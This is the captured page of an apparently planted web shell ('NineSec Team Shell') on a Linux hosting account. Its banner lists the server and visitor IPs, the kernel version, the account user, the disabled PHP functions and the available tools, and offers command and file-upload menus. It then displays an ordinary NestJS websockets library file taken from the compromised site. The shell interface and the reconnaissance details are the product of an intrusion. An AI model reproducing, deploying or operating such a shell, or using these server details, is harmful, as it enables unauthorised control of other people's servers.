NineSec Team Shell
Server IP : 92.205.26.207  /  Your IP : 216.73.216.16
Web Server : Apache
System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64
User : zikryat ( 1002)
PHP Version : 8.3.23
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/zikryat/public_html/node_modules/@nestjs/websockets/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/zikryat/public_html/node_modules/@nestjs/websockets/socket-server-provider.js
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.SocketServerProvider = void 0;
const tslib_1 = require("tslib");
const shared_utils_1 = require("@nestjs/common/utils/shared.utils");
const server_and_event_streams_factory_1 = require("./factories/server-and-event-streams-factory");
class SocketServerProvider {
    constructor(socketsContainer, applicationConfig) {
        this.socketsContainer = socketsContainer;
        this.applicationConfig = applicationConfig;
    }
    scanForSocketServer(options, port) {
        const serverAndStreamsHost = this.socketsContainer.getOneByConfig({
            port,
            path: options.path,
        });
        if (serverAndStreamsHost && options.namespace) {
            return this.decorateWithNamespace(options, port, serverAndStreamsHost.server);
        }
        return serverAndStreamsHost
            ? serverAndStreamsHost
            : this.createSocketServer(options, port);
    }
    createSocketServer(options, port) {
        const adapter = this.applicationConfig.getIoAdapter();
        const _a = options, { namespace, server } = _a, partialOptions = tslib_1.__rest(_a, ["namespace", "server"]);
        const ioServer = adapter.create(port, partialOptions);
        const serverAndEventStreamsHost = server_and_event_streams_factory_1.ServerAndEventStreamsFactory.create(ioServer);
        this.socketsContainer.addOne({ port, path: options.path }, serverAndEventStreamsHost);
        if (!namespace) {
            return serverAndEventStreamsHost;
        }
        return this.decorateWithNamespace(options, port, ioServer);
    }
    decorateWithNamespace(options, port, targetServer) {
        const namespaceServer = this.getServerOfNamespace(options, port, targetServer);
        const serverAndEventStreamsHost = server_and_event_streams_factory_1.ServerAndEventStreamsFactory.create(namespaceServer);
        this.socketsContainer.addOne({ port, path: options.path, namespace: options.namespace }, serverAndEventStreamsHost);
        return serverAndEventStreamsHost;
    }
    getServerOfNamespace(options, port, server) {
        const adapter = this.applicationConfig.getIoAdapter();
        return adapter.create(port, Object.assign(Object.assign({}, options), { namespace: this.validateNamespace(options.namespace || ''), server }));
    }
    validateNamespace(namespace) {
        if (!(0, shared_utils_1.isString)(namespace)) {
            return namespace;
        }
        return (0, shared_utils_1.addLeadingSlash)(namespace);
    }
}
exports.SocketServerProvider = SocketServerProvider;

NineSec Team - 2022